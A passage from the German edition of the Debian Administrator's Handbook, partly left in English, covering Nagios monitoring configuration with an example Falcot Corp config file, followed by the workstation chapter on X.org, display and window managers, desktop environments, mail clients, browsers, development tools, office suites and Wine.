Die Webschnittstelle von Nagios ist recht schön, aber sie ermöglicht weder eine Konfigurierung noch kann sie dazu verwendet werden, überwachte Hosts und Dienste hinzuzufügen. Die gesamte Konfiguration wird über Dateien verwaltet, auf die in der zentralen Konfigurationsdatei /etc/nagios4/nagios.cfg verwiesen wird.

Man sollte in diese Dateien ohne ein Verständnis der Konzepte von Nagios nicht eindringen. Die Konfiguration führt Objekte der folgenden Art auf:

ein host ist ein zu überwachender Rechner;

eine hostgroup ist ein Satz von Rechnern, der in der Darstellung oder zur Berücksichtigung einiger gemeinsamer Konfigurationselemente zusammengefasst werden sollte;

ein service ist ein überprüfbares Element in Bezug auf einen Host oder eine Gruppe von Hosts. In den meisten Fällen wird es sich um die Überprüfung eines Netzwerkdienstes handeln, es kann aber auch bedeuten, dass überprüft wird, ob einige Parameter innerhalb eines zulässigen Bereichs liegen (zum Beispiel der freie Plattenplatz oder die Prozessorlast);

eine servicegroup ist ein Satz von Diensten, die zur Darstellung zusammengefasst werden sollen;

ein contact ist eine Person, die Warnmeldungen empfangen darf;

eine contactgroup ist ein Satz solcher Personen;

eine timeperiod ist ein Zeitraum, innerhalb dessen einige Dienste überprüft werden müssen;

ein command ist die Befehlszeile, die zur Überprüfung eines bestimmten Dienstes aufgerufen wird.

Je nach seiner Art hat jedes Objekt eine Anzahl von Eigenschaften, die angepasst werden können. Eine vollständige Liste wäre zu lang, um sie hier aufzuführen, jedoch sind die wichtigsten Eigenschaften die Beziehungen zwischen den Objekten.

Ein service verwendet einen command, um den Zustand einer Funktion auf einem host (oder einer hostgroup) innerhalb einer timeperiod zu überprüfen. Falls ein Problem vorliegt, verschickt Nagios ein Warnmeldung an alle Mitglieder der contactgroup, die mit diesem Dienst in Zusammenhang steht. Jedes Mitglied erhält die Meldung in Abhängigkeit von dem Kanal, der in dem entsprechenden contact-Objekt beschrieben ist.

Ein Vererbungssystem erleichtert es, einen Satz von Eigenschaften bei vielen Objekten gemeinsam zu benutzen, ohne Informationen zu duplizieren. Außerdem enthält die anfängliche Konfiguration eine Anzahl von Standardobjekten; so können in vielen Fällen neue Hosts, Dienste und Kontakte einfach dadurch festgelegt werden, dass sie von den bereitgestellten allgemeinen Objekten abgeleitet werden. Die Dateien in /etc/nagios4/conf.d/ sind eine gute Quelle für Informationen darüber, wie sie funktionieren.

Die Falcot Corp. Administratoren verwenden folgende Konfiguration:

Beispiel 12.5. /etc/nagios4/conf.d/falcot.cfg file

define contact{ name generic-contact service_notification_period 24x7 host_notification_period 24x7 service_notification_options w,u,c,r host_notification_options d,u,r service_notification_commands notify-service-by-email host_notification_commands notify-host-by-email register 0 ; Template only } define contact{ use generic-contact contact_name rhertzog alias Raphael Hertzog email hertzog@debian.org } define contact{ use generic-contact contact_name rmas alias Roland Mas email lolando@debian.org } define contactgroup{ contactgroup_name falcot-admins alias Falcot Administrators members rhertzog,rmas } define host{ use generic-host ; Name of host template to use host_name www-host alias www.falcot.com address 192.168.0.5 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } define host{ use generic-host ; Name of host template to use host_name ftp-host alias ftp.falcot.com address 192.168.0.12 contact_groups falcot-admins hostgroups debian-servers,ssh-servers } # 'check_ftp' command with custom parameters define command{ command_name check_ftp2 command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35 } # Generic Falcot service define service{ name falcot-service use generic-service contact_groups falcot-admins register 0 } # Services to check on www-host define service{ use falcot-service host_name www-host service_description HTTP check_command check_http } define service{ use falcot-service host_name www-host service_description HTTPS check_command check_https } define service{ use falcot-service host_name www-host service_description SMTP check_command check_smtp } # Services to check on ftp-host define service{ use falcot-service host_name ftp-host service_description FTP check_command check_ftp2 }

Diese Konfigurationsdatei beschreibt zwei überwachte Hosts. Der erste ist der Webserver und die Überprüfungen werden an den Ports für HTTP (80) und sicheres HTTP (443) durchgeführt. Nagios überprüft außerdem, ob ein SMTP-Server auf Port 25 läuft. Der zweite ist der FTP-Server und mit der Überprüfung wird unter anderem sichergestellt, dass innerhalb von 20 Sekunden geantwortet wird. Bei einer längeren Verzögerung wird eine Warnung ausgegeben, bei mehr als 30 Sekunden gilt sie als kritisch. Die Webschnittstelle von Nagios zeigt auch an, dass der SSH-Service überwacht wird: Dies geschieht wegen der Hosts, die zur Hostgruppe ssh-servers gehören. Der dazugehörige voreingestellte Dienst ist in /etc/nagios4/conf.d/services_nagios2.cfg festgelegt.

Man beachte die Verwendung der Vererbung: ein Objekt wird mit „use eltern-name“ dazu gebracht, von einem anderen Objekt zu erben. Das Elternobjekt muss identifizierbar sein, daher ist es erforderlich, ihm mit „name kennung“ eine Kennung zu geben. Falls das Elternobjekt kein wirkliches Objekt sein, sondern lediglich als Elter dienen soll, wird Nagios mitgeteilt, es nicht zu berücksichtigen, indem ihm die Eigenschaft „register 0“ zugeteilt wird, so dass Nagios das Fehlen einiger Parameter ignoriert, die anderenfalls erforderlich wären.

DOKUMENTATION Liste der Objekteigenschaften

A more in-depth understanding of the various ways in which Nagios can be configured can be obtained from the documentation hosted on https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/. It includes a list of all object types, with all the properties they can have. It also explains how to create new plugins.

WEITERE SCHRITTE Ferntests mit NRPE

Many Nagios plugins allow checking some parameters local to a host; if many machines need these checks while a central installation gathers them, the NRPE (Nagios Remote Plugin Executor) plugin needs to be deployed. The nagios-nrpe-plugin package needs to be installed on the Nagios server, and nagios-nrpe-server on the hosts where local tests need to run. The latter gets its configuration from /etc/nagios/nrpe.cfg. This file should list the tests that can be started remotely, and the IP addresses of the machines allowed to trigger them. On the Nagios side, enabling these remote tests is a simple matter of adding matching services using the new check_nrpe command.

Kapitel 13. Arbeitsplatzrechner

Nachdem die Serverinstallationen abgeschlossen sind, können die Administratoren ihre Aufmerksamkeit nun darauf richten, die einzelnen Arbeitsplatzrechner einzurichten und für sie eine typische Konfiguration zu erstellen.

13.1. Den X11-Server konfigurieren

A brief reminder: X.org is the software component that allows graphical applications to display windows on screen. It includes a driver that makes efficient use of the video card. The features offered to the graphical applications are exported through a standard interface, X11 (Bullseye contains version X11R7.7).

AUSBLICK X11, XFree86 und X.org

X11 ist das unter unixähnlichen Systemen am weitesten verbreitete grafische System (es steht auch für Windows und Mac OS zur Verfügung). Im Grunde genommen bezieht sich der Ausdruck „X11“ nur auf eine Protokollspezifikation, er wird aber auch für dessen Umsetzung in die Praxis benutzt.

X11 had a rough start, but the 1990s saw XFree86 emerge as the reference implementation because it was free software, portable, and maintained by a collaborative community. However, the rate of evolution slowed down near the end when the software only gained new drivers. That situation, along with a very controversial license change, led to the X.org fork in 2004. This is now the reference implementation, and Debian Bullseye uses X.org version 7.7.

Current versions of X.org are able to auto-detect the available hardware: this applies to the video card and the monitor, as well as keyboards and mice; in fact, it is so convenient that the package no longer even creates a /etc/X11/xorg.conf configuration file.

Die Tastaturkonfiguration wird gegenwärtig in der Datei /etc/default/keyboard festgelegt. Mit dieser Datei werden sowohl die Textkonsole als auch die grafische Schnittstelle konfiguriert, und sie wird von dem Paket keyboard-configuration gehandhabt. Einzelheiten zur Konfigurierung der Tastaturbelegung finden sich in Abschnitt 8.1.2, „Die Tastatur einstellen“.

Das Paket xserver-xorg stellt einen allgemeinen X-Server bereit, wie er von den 7.x-Versionen von X.org verwendet wird. Dieser Server ist modular und benutzt eine Reihe unabhängiger Treiber zum Umgang mit den vielen verschiedenen Arten von Grafikkarten. Wenn xserver-xorg installiert ist, sorgt es dafür, dass beide, der Server und ein Video-Treiber, installiert sind.

Note that if the detected video card is not handled by any of the available drivers, X.org tries using the vesa and fbdev drivers. VESA is a generic driver that should work everywhere, but with limited capabilities (fewer available resolutions, no hardware acceleration for games and visual effects for the desktop, and so on) while fbdev works on top of the kernel's framebuffer device. Nowadays the X server can run without any administrative privileges (this used to be required to be able to configure the screen) and its log file is then stored in the user's home directory in ~/.local/share/xorg/Xorg.0.log, whereas it is /var/log/Xorg.0.log for X servers started with root privileges and for versions older than Debian 9 Stretch. That log file is where one would look to know what driver is currently in use. For example, the following snippet matches what the intel driver outputs when it is loaded:

(==) Matched nouveau as autoconfigured driver 0 (==) Matched modesetting as autoconfigured driver 1 (==) Matched fbdev as autoconfigured driver 2 (==) Matched vesa as autoconfigured driver 3 (==) Assigned the driver to the xf86ConfigLayout (II) LoadModule: "intel" (II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so (II) Module intel: vendor="X.Org Foundation"

EXTRA Proprietäre Treiber

Einige Grafikkartenhersteller (vor allem NVIDIA) weigern sich, die Hardwarespezifikationen zu veröffentlichen, die zur Realisierung guter freier Treiber erforderlich wären. Sie stellen jedoch proprietäre Treiber bereit, die es ermöglichen, ihre Hardware zu benutzen. Dieses Verhalten ist schändlich, da der bereitgestellte Treiber gewöhnlich nicht so ausgefeilt ist, wie er sein sollte; zudem folgt er nicht notwendigerweise den X.org-Aktualisierungen, wodurch der neueste verfügbare Treiber möglicherweise nicht richtig (oder auch gar nicht) geladen wird. Wir können dieses Verhalten nicht billigen und empfehlen, diese Hersteller zu meiden und hilfsbereitere Produzenten vorzuziehen.

Falls Sie dennoch eine solche Karte erhalten, finden Sie die benötigten Pakete im Abschnitt non-free: nvidia-Treiber für NVIDIA-Karten. Es erfordert ein passendes Kernelmodul. Die Erstellung des Moduls kann durch die Installation des Pakets nvidia-kernel-dkms (für NVIDIA) automatisiert werden.

The nouveau project aims to develop a free software driver for NVIDIA cards and is the default driver that you get for those cards in Debian. In general, its feature set and performance do not match the proprietary driver. In the developers' defense, we should mention that the required information can only be gathered by reverse engineering, which makes things difficult. The free drivers for ATI video cards, called radeon and amdgpu, are much better in that regard although it often requires non-free firmware from the firmware-amd-graphics package.

13.2. Die grafische Schnittstelle anpassen

13.2.1. Einen Display Manager auswählen

The graphical interface only provides display space. Running the X server by itself only leads to an empty screen, which is why most installations use a display manager to display a user authentication screen and start the graphical desktop once the user has authenticated. The three most popular display managers in current use are gdm3 (GNOME Display Manager), sddm (suggested for KDE Plasma) and lightdm (Light Display Manager). More alternatives exist and can be found by searching for the x-display-manager virtual package.

Since the Falcot Corp administrators have opted to use the GNOME desktop environment, they logically picked gdm3 as a display manager too. The /etc/gdm3/daemon.conf configuration file has many options (the list can be found in the /usr/share/gdm/gdm.schemas schema file) to control its behavior while /etc/gdm3/greeter.dconf-defaults contains settings for the greeter “session” (more than just a login window, it is a limited desktop with power management and accessibility related tools). Note that some of the most useful settings for end-users can be tweaked with GNOME's control center.

13.2.2. Einen Fenstermanager auswählen

Da jede grafische Arbeitsoberfläche ihren eigenen Fenster-Manager zur Verfügung stellt, wird der von Ihnen gewählte Fenster-Manager in der Regel davon beeinflusst, welche Arbeitsoberfläche Sie ausgewählt haben. GNOME verwendet den Fenstermanager mutter window manager, Plasma verwendet kwin, und Xfce (das wir später vorstellen) verwendet Xfwm. Gemäß Unix-Philosophie kann man immer den Fenstermanager seiner Wahl verwenden, aber wenn ein Administrator den Vorschlägen folgt, profitiert er am meisten von den Integrationsleistungen, die von jedem Projekt erbracht werden.

ZURÜCK ZU DEN GRUNDLAGEN Fenstermanager

Der Fenstermanager zeigt die „Verzierungen“ rings um die Fenster an, die zu den gerade laufenden Anwendungen gehören. Hierzu gehören der Rahmen und die Titelleiste. Er ermöglicht es auch, die Fenster zu verkleinern, wiederherzustellen, zu maximieren und zu verbergen. Die meisten Fenstermanager stellen auch ein Menü bereit, das erscheint, wenn die Arbeitsfläche auf eine bestimmte Art angeklickt wird. Dieses Menü ermöglicht es, die Sitzung des Fenstermanagers zu beenden, neue Anwendungen zu starten und in manchen Fällen, zu einem anderen Fenstermanager zu wechseln (falls dieser installiert ist).

Older computers may, however, have a hard time running heavyweight graphical desktop environments. In these cases, a lighter alternative (search for the x-window-manager virtual package) should be used. “Light” (or small footprint) window managers include WindowMaker (in the wmaker package), afterstep, icewm, blackbox, fluxbox, or openbox. In these cases, the system should be configured so that the appropriate window manager gets precedence; the standard way is to change the x-window-manager alternative with the command update-alternatives --config x-window-manager.

DEBIAN-BESONDERHEIT Alternativen

Das Debian-Regelwerk führt eine Anzahl standardisierter Befehle zur Ausführung einer bestimmten Aktion an. Zum Beispiel ruft der Befehl x-window-manager einen Fenstermanager auf. Jedoch ordnet Debian diesen Befehl keinem bestimmten Fenstermanager zu. Der Administrator kann wählen, welcher Manager hiermit aufgerufen werden soll.

Für jeden Fenstermanager registriert daher das entsprechende Paket den passenden Befehl zusammen mit einer dazugehörigen Priorität als mögliche Auswahl für x-window-manager. Außer im Falle einer ausdrücklichen Konfigurierung durch den Administrator ermöglicht diese Priorität es, aus den installierten Fenstermanagern den besten auszuwählen, wenn der allgemeine Befehl ausgeführt wird.

Both the registration of commands and the explicit configuration involve the update-alternatives script. Choosing where a symbolic command points at is a simple matter of running update-alternatives --config symbolic-command. This script creates (and maintains) symbolic links in the /etc/alternatives/ directory, which in turn references the location of the executable. As time passes, packages are installed or removed, and/or the administrator makes explicit changes to the configuration. When a package providing an alternative is removed, the alternative automatically goes to the next best choice among the remaining possible commands.

Nicht alle symbolischen Befehle sind im Debian-Regelwerk ausdrücklich aufgeführt; einige Debian-Paketbetreuer haben sich bewusst dazu entschieden, dieses Verfahren in weniger eindeutigen Fällen zu verwenden, in denen es dennoch interessante Flexibilität bewirkt (hierzu gehören beispielsweise x-www-browser, www-browser, cc, c++, awk und so weiter).

13.2.3. Menü-Verwaltung

Modern desktop environments and many window managers provide menus listing the available applications for the user. In order to keep menus up-to-date in relation to the actual set of available applications, each package usually provides a .desktop file in /usr/share/applications. The format of those files has been standardized by FreeDesktop.org:

→ https://specifications.freedesktop.org/desktop-entry-spec/latest/

The applications menus can be further customized by administrators through system-wide configuration files as described by the “Desktop Menu Specification”. End-users can also customize the menus with graphical tools such as kmenuedit (in Plasma), alacarte (in GNOME) or menulibre.

→ https://specifications.freedesktop.org/menu-spec/latest/

GESCHICHTE Das Debian Menu System

Historisch gesehen - lange bevor die FreeDesktop.org-Standards auftauchten - hatte Debian sein eigenes Menüsystem erfunden, in dem jedes Paket eine generische Beschreibung der gewünschten Menüeinträge in /usr/share/menu/ lieferte. Dieses Tool ist immer noch in Debian verfügbar (im menu Paket), aber es ist nur von geringem Nutzenn, da Paketbetreuer ermutigt werden, sich stattdessen auf .desktop Dateien zu verlassen.

13.3. Grafische Arbeitsflächen

The free graphical desktop field is dominated by two large software collections: GNOME and Plasma by KDE. Both of them are very popular.

Diese Vielfältigkeit hat seine Ursachen in der Vergangenheit. Plasma (ursprünglich nur KDE, das nun der Name der Community ist) war das erste Projekt einer grafischen Arbeitsfläche, es entschied sich jedoch, den grafischen Werkzeugsatz Qt zu verwenden, eine Entscheidung, die für viele Entwickler nicht akzeptabel war. Zu jener Zeit war Qt nämlich keine freie Software und so wurde GNOME auf der Basis des Werkzeugsatzes GTK+ ins Leben gerufen. Inzwischen ist Qt freie Software geworden, aber die Projekte entwickelten sich immer noch parallel dazu.

Die GNOME und KDE Communities arbeiten dennoch zusammen: unter dem Schirm von FreeDesktop.org kooperieren die Projekte bei der Festlegung von Standards zur Zusammenarbeit von Anwendungen.

Die Auswahl der „besten“ grafischen Arbeitsfläche ist ein heikles Thema, dem wir lieber aus dem Wege gehen möchten. Wir werden lediglich die zahlreichen Möglichkeiten beschreiben und einige Hinweise für weitere Überlegungen geben. Die beste Wahl wird die sein, die Sie nach einigem Ausprobieren treffen werden.

13.3.1. GNOME

Debian Bullseye includes GNOME version 3.38, which can be installed by a simple apt install gnome (it can also be installed by selecting the “Debian desktop environment” task - task-desktop and task-gnome-desktop).

Bei GNOME sind seine Anstrengungen in den Bereichen Gebrauchsfreundlichkeit und Barrierefreiheit bemerkenswert. Professionelle Designer waren an der Erstellung seiner Standards und Empfehlungen beteiligt, was den Entwicklern geholfen hat, überzeugende grafische Benutzerschnittstellen zu schaffen. Das Projekt erhält Unterstützung auch von den großen Akteuren im Computerwesen, wie Intel, IBM, Oracle, Novell und natürlich verschiedenen Linux-Distributionen. Schließlich können zur Entwicklung von Anwendungen, die mit GNOME in Verbindung treten, viele verschiedene Programmiersprachen benutzt werden.

Abbildung 13.1. Die GNOME-Arbeitsfläche

Für Administratoren erscheint GNOME auf Masseneinsätze besser vorbereitet zu sein. Die Konfiguration der Applikation wird durch das GSettings Interface durchgeführt und es speichert seine Daten in der DConf Datenbank. Die Konfiguration kann so auch mittels der Kommandozeilentools gsettings und dconf oder mit dem grafischen Tool dconf-editor durchsucht und editiert werden. So kann der Administrator die Benutzereinstellungen mit einem simplen Script anpassen. Die GNOME Webseite bietet Informationen zur Anleitung von Administratoren, die GNOME Arbeitsstationen verwalten:

→ https://help.gnome.org/admin/

13.3.2. KDE und Plasma

Debian Bullseye includes version 5.20 of KDE Plasma, which can be installed with apt install kde-standard (task-kde-desktop).

Plasma hat aufgrund eines sehr pragmatischen Ansatzes eine rasante Entwicklung durchgemacht. Seine Entwickler haben schnell sehr gute Ergebnisse erzielt, wodurch sie eine große Benutzergemeinschaft aufbauen konnten. Diese Faktoren haben zur Gesamtqualität des Projekts beigetragen. Plasma ist eine ausgereifte Arbeitsplatzumgebung mit einer reichen Auswahl an Anwendungen.

Abbildung 13.2. Die Plasma-Arbeitsfläche

Seit der Veröffentlichung von Qt 4.0 wurde das letzte verbliebene Lizenzproblem bei KDE Software gelöst. Diese Version wurde sowohl für Linux als auch für Windows unter der GPL veröffentlicht (die Windows-Version war vorher unter einer nicht-freien Lizenz veröffentlicht). KDE-Anwendungen werden vorrangig mit der Programmiersprache C++ entwickelt.

13.3.3. Xfce und andere

Xfce is a simple and lightweight graphical desktop, which is a perfect match for computers with limited resources. It can be installed with apt install xfce4 (task-xfce-desktop). Like GNOME, Xfce is based on the GTK+ toolkit, and several components are common across both desktops.

Im Gegensatz zu GNOME und Plasma zielt Xfce nicht darauf ab, ein großes Projekt zu werden. Außer den grundlegenden Komponenten einer modernen Arbeitsfläche (Dateimanager, Fenstermanager, Sitzungsmanager, einer Leiste für Anwendungsstarter und so weiter) stellt es nur einige besondere Anwendungen bereit: eine Konsole, einen Kalender (orage), einen Bildbetrachter, ein CD/DVD-Brennprogramm, einen Medienspieler (parole), eine Lautstärkensteuerung und einen Texteditor (mousepad).

→ https://xfce.org/?lang=de

Abbildung 13.3. Die Xfce-Arbeitsfläche

13.3.4. Andere Desktop-Umgebungen

LXDE and LXQt are two desktop environments focusing on the “lightweight” aspect. The former is GTK+ based while the latter is Qt based. They can be installed with the lxde (task-lxde-desktop), and lxqt (task-lxqt-desktop) metapackages.

→ https://lxde.org/

→ https://lxqt.org/

Abbildung 13.4. The LXDE desktop

Abbildung 13.5. The LXQT desktop

Cinnamon and MATE both started when GNOME 3 moved away from the traditional desktop paradigm, dropping the usual panel and its menu in favor of the new search-based shell. The former reintroduced a panel by forking GNOME Shell and the latter is a continuation of GNOME 2. They can be installed with the cinnamon-desktop-environment (task-cinnamon-desktop) and mate-desktop-environment (task-mate-desktop) meta-packages.

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/

Abbildung 13.6. The Cinnamon desktop

Abbildung 13.7. The MATE desktop

13.4. E-Mail

13.4.1. Evolution

GEMEINSCHAFT Beliebt Pakete

Wenn man das Paket popularity-contest installiert, kann man an einer automatischen Erhebung teilnehmen, die das Debian-Projekt über die beliebtesten Pakete informiert. Einmal pro Woche wird von cron ein Skript ausgeführt, das (über HTTP oder E-Mail) eine anonymisierte Liste der installierten Pakete und des letzten Zugriffsdatums für die darin enthaltenen Dateien verschickt. Dies ermöglicht es den Debian-Betreuern zu wissen, welche Pakete am häufigsten installiert sind und von diesen, wie häufig sie tatsächlich benutzt werden.

Diese Information ist für das Debian-Projekt eine große Hilfe. Sie wird für die Entscheidung darüber benutzt, welche Pakete in den ersten Installationsplatten enthalten sein sollen. Die Installationsdaten sind auch ein wichtiger Faktor für die Entscheidung, ob ein Paket mit nur sehr wenigen Nutzern aus der Distribution entfernt werden sollte. Wir empfehlen eindringlich, das Paket popularity-contest zu installieren und an der Erhebung teilzunehmen.

Die erhobenen Daten werden täglich veröffentlicht.

→ https://popcon.debian.org/

Diese Statistiken können Benutzer auch dabei helfen, zwischen zwei Paketen zu wählen, die ansonsten gleichwertig erscheinen. Die Auswahl des beliebteren Pakets ist wohl die bessere Wahl.

Evolution ist GNOMEs E-Mail-Client und kann mit dem Befehl apt install evolution installiert werden. Es ist mehr als ein einfacher E-Mail-Client und stellt auch einen Kalender, ein Adressbuch, eine Aufgabenliste und eine Notizanwendung (für frei formulierte Notizen) bereit. Seine E-Mail-Komponente umfasst ein leistungsstarkes Nachrichten-Indizierungssystem und ermöglicht die Erstellung virtueller Verzeichnisse aufgrund von Suchabfragen aller archivierten Nachrichten. Mit anderen Worten, alle Nachrichten werden in gleicher Weise gespeichert, werden aber nach Verzeichnissen geordnet angezeigt, bei der jedes Verzeichnis die Nachrichten enthält, die einen bestimmten Satz von Filterkriterien erfüllen.

Abbildung 13.8. Das E-Mail-Programm Evolution

An extension to Evolution allows integration with a Microsoft Exchange email system; the required package is evolution-ews.

13.4.2. KMail

KDEs E-Mail-Programm kann mit dem Befehl apt install kmail installiert werden. KMail verarbeitet zwar nur E-Mails, gehört jedoch zu einer Programmgarnitur namens KDE-PIM (für Personal Information Manager), die Leistungsmerkmale wie Adressbücher, eine Kalenderkomponente und so weiter enthält. KMail verfügt über alle Fähigkeiten, die man von einem vorzüglichen E-Mail-Client erwarten kann.

Abbildung 13.9. Das E-Mail-Programm KMail

13.4.3. Thunderbird

Das thunderbird-Paket stellt den E-Mail-Client aus der Mozilla-Software-Suite zur Verfügung. Verschiedene Lokalisierungssätze sind in thunderbird-l10n-*-Paketen verfügbar; die Erweiterung enigmail kümmert sich um die Verschlüsselung und Signatur von Nachrichten, ist aber nicht in allen Sprachen verfügbar.

Abbildung 13.10. Das E-Mail-Programm Thunderbird

13.5. Web-Browser

Epiphany, der Web-Browser in der GNOME-Garnitur, verwendet das von Apple für seinen Safari-Browser entwickelte Anzeigeprogramm WebKit. Das entsprechende Paket heißt epiphany-browser.

Konqueror, available in the konqueror package, is KDE's web browser (but can also assume the role of a file manager). It uses the KDE-specific KHTML rendering engine; KHTML is an excellent engine, as witnessed by the fact that Apple's WebKit is based on KHTML. KDE also has a newer browser called Falkon, available in the falkon package. It uses the QtWebEngine.

Users not satisfied by any of the above can use Firefox. This browser, available in the firefox-esr package, uses the Mozilla project's Gecko renderer, with a thin and extensible interface on top.

Abbildung 13.11. Der Web-Browser Firefox

VOKABULAR Firefox ESR

Mozilla hat einen sehr schnellen Release-Zyklus für Firefox. Neue Versionen werden alle sechs bis acht Wochen veröffentlicht und aus Sicherheitsgründen wird nur die neueste Version unterstützt. Dies ist nicht für alle Arten von Benutzern geeignet, sodass sie alle 10 Zyklen eines ihrer Releases zu einem Extended Support Release (ESR) befördern, das während der nächsten 10 Zyklen (die etwas mehr als ein Jahr dauern) Sicherheitsupdates (und keine funktionellen Änderungen) erhält.

Debian hat beide Versionen paketiert. Die ESR-Version, im Paket firefox-esr, wird standardmäßig verwendet, da sie die einzige Version ist, die für Debian Stable mit seiner langen Unterstützungsperiode geeignet ist (und selbst dort muss Debian während eines Debian-Stable-Lebenszyklus mehrmals von einer ESR-Veröffentlichung zur nächsten upgraden). Der reguläre Firefox ist im Paket firefox verfügbar, aber er ist nur für Benutzer von Debian Unstable verfügbar.

KULTUR Iceweasel, Firefox und andere

Vor Debian Stretch fehlten Firefox und Thunderbird. Das iceweasel-Paket enthielt Iceweasel, das im Grunde genommen Firefox unter einem anderen Namen war.

Der Grund für diese Umbenennung lag in den Nutzungsregeln, die von der Mozilla-Stiftung für das eingetragene Warenzeichen Firefox™ verfügt wurden: Jedes als Firefox benannte Programm musste das offizielle Firefox-Logo und die offiziellen Piktogramme verwenden. Da diese Elemente jedoch nicht unter einer freien Lizenz veröffentlicht sind, konnte Debian sie in seinem main-Bereich nicht anbieten. Anstatt den gesamten Browser in den Bereich non-free zu verschieben, hat sich der Paketbetreuer entschlossen, einen anderen Namen zu verwenden.

Aus ähnlichen Gründen wurde der E-Mail-Client Thunderbird™ in Icedove umbenannt.

Heutzutage werden das Logo und die Symbole unter einer freien Softwarelizenz vertrieben und Mozilla hat erkannt, dass die vom Debian-Projekt vorgenommenen Änderungen ihre Markenlizenz respektieren, sodass Debian die Mozilla-Anwendungen wieder unter ihrem offiziellen Namen versenden kann.

KULTUR Mozilla

Der Netscape Navigator war der Standardbrowser, als das Web begann, die Massen zu erreichen, verlor jedoch an Boden, als Microsoft den Internet Explorer mit Windows bündelte und Verträge mit Computerherstellern unterzeichnete, die ihnen die Vorinstallation des Netscape Navigators untersagten. Angesichts dieses Misserfolges entschied sich Netscape (das Unternehmen), seinen Quellcode „freizugeben“, indem es ihn unter einer freien Lizenz veröffentlichte, um ihm so ein neues Leben zu geben. Dies war der Beginn des Mozilla-Projekts. Nach vielen Jahren der Entwicklungsarbeit sind die Ergebnisse mehr als zufriedenstellend: Das Mozilla-Projekt brachte ein HTML-Darstellungsprogramm (namens Gecko) hervor, das zu den standardkonformsten gehört. Diese Rendering-Engine wird insbesondere vom Browser Mozilla Firefox verwendet, der einer der wichtigsten Browser ist.

Nicht zuletzt enthält Debian auch den Chromium Webbrowser (verfügbar im Paket chromium-browser). Dieser Browser wird von Google weiterentwickelt und ist zu einem der beliebtesten Browser geworden. Seine klare Absicht ist es, Internetdienste in zweierlei Hinsicht attraktiver zu gestalten, nämlich den Browser hinsichtlich seiner Geschwindigkeit zu optimieren und die Sicherheit des Nutzers zu verbessern. Der freie Code, der Chromium antreibt, wird auch von der proprietären Version verwendet, die Google Chrome™ heißt.

13.6. Entwicklung

13.6.1. Hilfsprogramme für GTK+ bei GNOME

Anjuta (in the anjuta package) and GNOME Builder (in the gnome-builder package) are Integrated Development Environments (IDE) optimized for creating GTK+ applications for GNOME. Glade (in the glade package) is an application designed to create GTK+ graphical interfaces for GNOME and save them in an XML file. These XML files can then be loaded by the GTK+ shared library through its GtkBuilder component to recreate the saved interfaces; such a feature can be interesting, for instance for plugins that require dialogs.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

→ https://glade.gnome.org/

13.6.2. Hilfsprogramme für Qt

Die entsprechenden Anwendungen für Qt-Applikationen sind KDevelop von KDE (im Paket kdevelop) für die Entwicklungsumgebung und Qt-Designer (im Paket qttools5-dev-tools) zur Entwicklung grafischer Schnittstellen für QT-Anwendungen.

KDevelop ist auch eine generische IDE und bietet Plugins für andere Sprachen wie Python und PHP und verschiedene Build-Systeme.

13.7. Office-Pakete

Bürosoftware wurde lange Zeit in der Welt der freien Software als mangelhaft angesehen. Die Benutzer benötigen Ersatz für Microsoft-Tools wie Word und Excel, aber diese sind so komplex, dass es schwierig war, Ersatz zu entwickeln. Die Situation änderte sich, als Sun den StarOffice-Code unter einer freien Lizenz als OpenOffice veröffentlichte, ein Projekt, aus dem später LibreOffice entstand, das unter Debian verfügbar ist. Das KDE-Projekt hat auch seine eigene Office-Suite, die Calligra-Suite (vorher KOffice) und GNOME, obwohl es niemals eine umfassende Office-Suite anbietet, stellt AbiWord als Textverarbeitung und Gnumeric als Tabellenkalkulation zur Verfügung. Die verschiedenen Projekte haben jeweils ihre Stärken. Zum Beispiel ist die Gnumeric-Tabellenkalkulation in einigen Bereichen besser als OpenOffice.org/LibreOffice, insbesondere was die Genauigkeit der Berechnungen betrifft. Im Bereich der Textverarbeitung ist die LibreOffice-Suite immer noch führend.

Eine weitere wichtige Funktion für Benutzer ist die Möglichkeit, Microsoft Office-Dokumente zu importieren. Obwohl alle Office-Suiten über diese Funktion verfügen, sind nur die in OpenOffice.org und LibreOffice funktional genug für den täglichen Gebrauch.

DER ÜBERBLICK LibreOffice ersetzt OpenOffice.org

OpenOffice.org-Mitwirkende haben eine Stiftung gegründet (The Document Foundation), um die Projektentwicklung zu fördern. Die Idee wurde bereits seit einiger Zeit diskutiert, aber der eigentliche Auslöser war der Aufkauf von Sun durch Oracle. Die neuen Eigentumsverhältnisse machten die Zukunft von OpenOffice unter Oracle unsicher. Da sich Oracle weigerte, Mitglied der Stiftung zu werden, waren die Entwickler gezwungen, den Namen OpenOffice.org aufzugeben. Diese Office-Suite ist nun als LibreOffice bekannt und in Debian verfügbar.

Nach einer Zeit relativer Stagnation bei OpenOffice.org spendete Oracle den Code und die damit verbundenen Rechte an die Apache Software Foundation, und OpenOffice ist nun ein Apache-Projekt. Dieses Projekt ist derzeit nicht in Debian verfügbar und gerät im Vergleich zu LibreOffice eher in Vergessenheit.

LibreOffice and Calligra Suite are available in the libreoffice and calligra Debian packages, respectively.

Sprachspezifische Pakete für LibreOffice werden in separaten Paketen verteilt, insbesondere libreoffice-l10n-* und libreoffice-help-*. Einige Funktionen wie Rechtschreibwörterbücher, Silbentrennungsmuster und Thesauri sind in separaten Paketen enthalten, wie z. B. myspell-*, hunspell-*, hyphen-* und mythes-*.

13.8. Windows emulieren: Wine

Trotz all der oben erwähnten Anstrengungen gibt es noch eine Anzahl von Programmen ohne Linux-Äquivalent oder solche, für die die Originalversion unerlässlich ist. Hier sind Windows-Emulationssysteme nützlich. Das bekannteste unter ihnen ist Wine.

→ https://www.winehq.org/

ERGÄNZUNGEN CrossOver Linux

CrossOver, von CodeWeavers produziert, ist ein Satz von Verbesserungen für Wine, der den verfügbaren Satz emulierter Funktionen so erweitert, dass Microsoft Office vollständig nutzbar wird. Einige dieser Verbesserungen werden nach und nach in Wine aufgenommen.

→ https://www.codeweavers.com/products/

